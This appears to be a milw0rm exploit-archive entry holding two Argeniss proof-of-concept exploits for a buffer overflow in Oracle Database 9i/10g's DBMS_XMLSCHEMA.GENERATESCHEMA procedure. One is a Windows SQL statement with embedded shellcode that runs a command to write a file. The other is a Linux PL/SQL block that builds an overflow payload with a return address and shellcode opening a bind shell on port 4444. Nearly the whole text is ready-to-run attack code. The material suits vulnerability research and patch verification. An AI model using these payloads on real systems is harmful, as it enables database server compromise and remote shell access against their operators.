Oracle Database Server 9i/10g - 'XML' Local Buffer Overflow

/*
   Argeniss - Information Security
   http://www.argeniss.com
   info>at<argeniss>dot<com

   Advisory: http://www.argeniss.com/research/ARGENISS-ADV-010601.txt

   Proof of concept exploit code Oracle Database Buffer overflow vulnerability in public procedure DBMS_XMLSCHEMA.GENERATESCHEMA
   http://www.argeniss.com/research.html

   By Esteban Martinez Fayo (esteban>at<argeniss>dot<com)

   Oracle version: 10g Release 1
   Platform: Windows

   Shellcode creates file c:\Unbreakable.txt and writes "ARE YOU SURE?"
*/



SELECT XDB.DBMS_XMLSCHEMA.GENERATESCHEMA ('a', 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBCCCCCCCCCCABCDE' || chr(212)||chr(100)||chr(201)||chr(01)||chr(141)||chr(68)||chr(36)||chr(18)||chr(80)||chr(255)||chr(21)||chr(192)||chr(146)||chr(49)||chr(02)||chr(255)||chr(21)||chr(156)||chr(217)||chr(49)||chr(2)||chr(32)||'echo ARE YOU SURE? >c:\Unbreakable.txt') FROM DUAL;








/*
   Argeniss - Information Security
   http://www.argeniss.com
   info>at<argeniss>dot<com

   Advisory: http://www.argeniss.com/research/ARGENISS-ADV-010601.txt

   Proof of concept exploit code Oracle Database Buffer overflow vulnerability in public procedure DBMS_XMLSCHEMA.GENERATESCHEMA
   http://www.argeniss.com/research.html

   By Ariel Matias Sanchez (dymitri>at<argeniss>dot<com)

   Oracle version: 10g Release 1
   Platform: Linux

   Shellcode opens a shell on port 4444 from www.metasploit.com.
*/


DECLARE a SYS.XMLTYPE; -- return value
AAA VARCHAR2(32767);
AA VARCHAR2(32767);
BBB VARCHAR2(32767);
JMP VARCHAR2(32767);
RET VARCHAR2(32767);
RETT VARCHAR2(32767);
SHELLCODE VARCHAR2(32767);
BEGIN
AAA:='A';
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA; 
AAA:=AAA || AAA;
AAA:=AAA || AAA;
JMP := 'BB' ||chr(235) || chr(09);
RETT:= chr(138) || chr(153) || chr(255) ||chr(191); 
RET:= chr(219) || chr(176) || chr(10) ||chr(08); 
SHELLCODE :=chr(41)||chr(201)||chr(219)||chr(201)||chr(177)||chr(22)||chr(184)||chr(37)
||chr(84)||chr(39)||chr(117)||chr(217)||chr(116)||chr(36)||chr(244)||chr(95)
||chr(131)||chr(199)||chr(4)||chr(49)||chr(71)||chr(17)||chr(3)||chr(98)
||chr(69)||chr(197)||chr(128)||chr(93)||chr(190)||chr(90)||chr(40)||chr(206)
||chr(42)||chr(95)||chr(196)||chr(150)||chr(242)||chr(198)||chr(145)||chr(183)
||chr(206)||chr(121)||chr(55)||chr(116)||chr(131)||chr(31)||chr(80)||chr(107)
||chr(127)||chr(134)||chr(243)||chr(2)||chr(158)||chr(44)||chr(146)||chr(76)
||chr(49)||chr(224)||chr(12)||chr(229)||chr(80)||chr(207)||chr(49)||chr(69)
||chr(244)||chr(1)||chr(210)||chr(104)||chr(121)||chr(243)||chr(71)||chr(36)
||chr(57)||chr(125)||chr(134)||chr(120)||chr(219)||chr(176)||chr(201)||chr(235)
||chr(78)||chr(73)||chr(147)||chr(187)||chr(176)||chr(128)||chr(163)||chr(242)
||chr(183)||chr(227)||chr(20)||chr(15)||chr(26)||chr(124)||chr(122)||chr(32)
||chr(233)||chr(20)||chr(236)||chr(17)||chr(111)||chr(140)||chr(130)||chr(228)
||chr(140)||chr(28)||chr(8)||chr(127)||chr(179)||chr(108)||chr(46);
BBB:= JMP || RET ||'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'||SHELLCODE||'BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB';
AA := AAA || BBB;
a := XDB.DBMS_XMLSCHEMA_INT.GENERATESCHEMA (SCHEMANAME => AA, TYPENAME => 'longstring', ELEMENTNAME => '', RECURSE => FALSE, ANNOTATE => FALSE, EMBEDCOLL => FALSE);
END;

// milw0rm.com [2006-01-26]